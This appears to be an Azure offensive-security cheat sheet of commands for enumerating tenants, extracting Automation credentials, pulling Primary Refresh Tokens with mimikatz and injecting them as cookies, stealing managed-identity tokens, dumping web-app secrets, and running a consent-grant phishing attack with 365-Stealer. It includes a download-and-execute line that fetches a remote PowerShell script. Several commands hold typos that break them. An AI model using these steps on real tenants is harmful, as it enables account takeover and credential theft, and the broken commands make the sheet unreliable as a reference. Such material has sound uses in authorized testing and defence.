Azure
Table of content
- Tools
- AzPowershell
- IAM enumeration
- List storage containers
- AzAutomation
- PRT
- Service Principal
- Docker
- Connect to Azure VM with AzureAccount
- Managed identity
- WebApp
- Consent grant attack
Tools
Roadrecon
ROADtools is a framework to interact with Azure AD. It currently consists of a library (roadlib) and the ROADrecon Azure AD exploration tool. github
python3 -m pip install roadrecon
roadrecon auth --device-code
roadrecon gather
road-recon gui
ScoutSuite
Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments. Using the APIs exposed by cloud providers, Scout Suite gathers configuration data for manual inspection and highlights risk areas. Rather than going through dozens of pages on the web consoles, Scout Suite presents a clear view of the attack surface automatically. github
# Connect to Azure and run the following command
python scout.py azure --cli
AzPowershell
Install
Install-Module Az -Force
Connect
$Username = ${username}
$Password = ${password}
$User = (New-Object System.management.automation.PSCredential($Username, (ConvertToSecureString $Password -AsPlainText -Force)))
Connect-AzAccount -Credential $User
IAM enumeration
# Get user role
Get-AzRoleAssignment | Format-List SignInName,RoleDefinitionName,Scope
# Azure AD Groups
Get-AzAdGroup
# Azure AD Users
Get-AzADUser
az role assignement list --all
List storage containers
With Reader
permission on Storage Accounts
it is possible to retrieve containers exposed with public access:
(Get-AzStorageAccount | Get-AzStorageContainer).cloudBlobContainer | select Uri,@{n='PublicAccess';e={$_.Properties.PublicAccess}}
AzAutomation
AzAutomationAccount
The Contributor
role of an automation account grants full access to all the resources in the automation account such as Runbooks
and Desired State Configuration
.
Get-AzAutomationAccount
Desired State Configuration
List the DSC
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Export the configuration
$DSCName = ${dscToExport}
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -march $DSCName} | Export-AzAutomationDscConfiguration -OutputFolder (get-location) -Debug
Runbook
List the Runbooks
Get-AzAutomationAccount | Get-AzAutomationRunbook
Export scripts
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder (pwd)
Create new Runbook
Runbook
can access to automation credentials configured in the environment.
It can be interesting to create a Runbook
to fetch these credentials
$ResourceGroupName = ${resource}
$AutomationAccountName = ${automationAccount}
$RunbookName = ${newRunbookName}
@'
${runbookScript}
'@ | out-file -encofing ascii 'runbook.ps1'
New-AzAutomationRunbook -Name $RunbookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunbook -Path 'runbook.ps1' -Name $RunbookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunbook -Name $RunbookName -AutomationAccountName ÂutomationAccountName -ResourceGroupName $ResourceGroupName
Start a runbook
$ResourceGroupName = ${resource}
$AutomationAccountName = ${automationAccount}
$RunbookName = ${newRunbookName}
$start = Start-AzAutomationRunBook -Name $RunbookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput.Summary)
Automation Credentials
Get-AzAutomationAccount | Get-AzAutomationCredential
PRT
Extract the PRTPRT
and unprotect the keys
# mimikatz
sekurlsa::cloudap
Dpapi::cloudapkd /keyvalue:${keyValue} /unprotect
Generate a new PRT
Install-Module AADInternals
$MimikatzPRT = "${prtToken}"
# Add padding
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}
# Convert from Base 64
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
# Add the session key (Clear key) to a variable
$MimikatzKey = "${clearKey}"
# Convert to byte array and base 64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))
# Generate a new PRTToken with nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
Write-Host $prtToken
Inject the PRT
as a cookie to hijack the account :
Cookie name
: x-ms-RefreshTokenCredentialHTTPOnly
: trueDomain
: login.microsoft.comPath
: /
Service Principal
The Service Principal
account used to launch specific services. Thus, the service does not use a real user account to run but a dedicated account with limited privileges.
These account username
and password
are UUID
.
List accounts
Get-AzureAdPrincpal -All $true
Docker
The Azure Docker URI
look like ${tenant}.azurecr.io
.
List docker containers inside a registry
The Get-AzACR script can be used to enumerate Docker
pull URL
's
IEX (New-Object Net.WebClient).downloadstring("https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Misc/Get-AzACR.ps1")
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Internet Explorer\Main" -Name "DisableFirstRunCustomize" -Value 2
Get-AzACR -username ${username} -password ${password} -registry ${registryURI}
Connect to a docker with azure credentials
docker login ${registryURI} --username ${username} --password ${password}
Connect to Azure VM with AzureAccount
ssh -l ${userMail} ${ip} -p ${port}
# ssh -l yoann.dequeker@wavestone.com 10.10.10.10 -p 1337
Managed identity
When connected to a Azure
VM, it is possible to steel Azure
token if the VM identity is managed
curl 'http://169.254.169.254/metadata/identity/oauth2/token.api-version=2018-02-01&resource=https://management.azure.com/' -H 'Metadata:true'
It is then possible to login as this user with
az login --identity
WebApp
List webapp
az webapp list
Configuration
Some secrets can be stored in the configuration file. For example, database credentials can be stored in Azure
az webapp config connection-string list --name ${appName} --resource-group ${resourceName}
Likewise, sensitive information can be stored in the deployment configuration
az webapp deployment list-publishing-profiles --resource-group ${resourceName} --name ${appName}
WebSSH
The Website Contributor
role can access to the application underlying operating system through the Console
feature.
It is possible to establish an SSH
over HTTP
connection when the /webssh/host
endpoint can be reached
(curl https://${appName}?app.scm.azurewebsites.net/webssh/host).statuscode
The SSH
session can be opened with AzCli
# It open a port forwardin (43605)
az webapp create-remote-connection --subscription ${subscription} --resource-groupe ${resourceGroup} --n ${applicationName}
# Connect to ssh
ssh root@localhost -p 43605
Consent grant attack
The Consent grant attack
is an attack where a user will connect to a malicious application with his Azure
account. The malicious application will ask for several permission such as the right to read OneDrive
files or access to Outlook
.
The application is designed to redirect the user and steal its authentication token to abuse the excessive rights.
At the moment, this attack will not work on cross tenant users as it asks for administrator rights during the authentication.
Set up the trap
The 365-Stealer project can be deployed on a server to automatize token retrieval and use.
Set the application permission
The permission code can be found here
Be careful, some rights need Administrator
approval and users will not be able to accept them.
Set the application permission a new manifest.json
file:
# manifest.json
[
{
"resourceAppId": "00000003-0000-0000-c000-000000000000",
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "863451e7-0667-486c-a5d6-d135439485f0",
"type": "Scope"
}
]
}
]
Create a new application
This application will authenticate the user and redirect him to the 365-stealer
application deployed on a remote server.
az ad app create --display-name ${appName} --available-to-other-tenants true --reply-urls https://${serverName}/login/authorized --oauth2-allow-implicit-flow false --required-resource-accesses @manifest.json
az ad app owner add --owner-object cd60eb94-ad23-4cee-86cc-4819be4d6123 --id 7de80acb-4263-4a8f-9f8b-30b9abcab4e3
az ad app update --id 7de80acb-4263-4a8f-9f8b-30b9abcab4e3 --oauth2-allow-implicit-flow false
az ad app update --id 7de80acb-4263-4a8f-9f8b-30b9abcab4e3 --set oauth2Permissions[0].isEnabled=false
az ad app update --id 7de80acb-4263-4a8f-9f8b-30b9abcab4e3 --set oauth2Permissions=[]
az ad app credential reset --id 7de80acb-4263-4a8f-9f8b-30b9abcab4e3
Send the malicious URL
'https://login.microsoftonline.com/common/oauth2/authorize?%20response_type=code&client_id=${applicationClientId}&redirect_uri${redirectUri}&response_mode=query'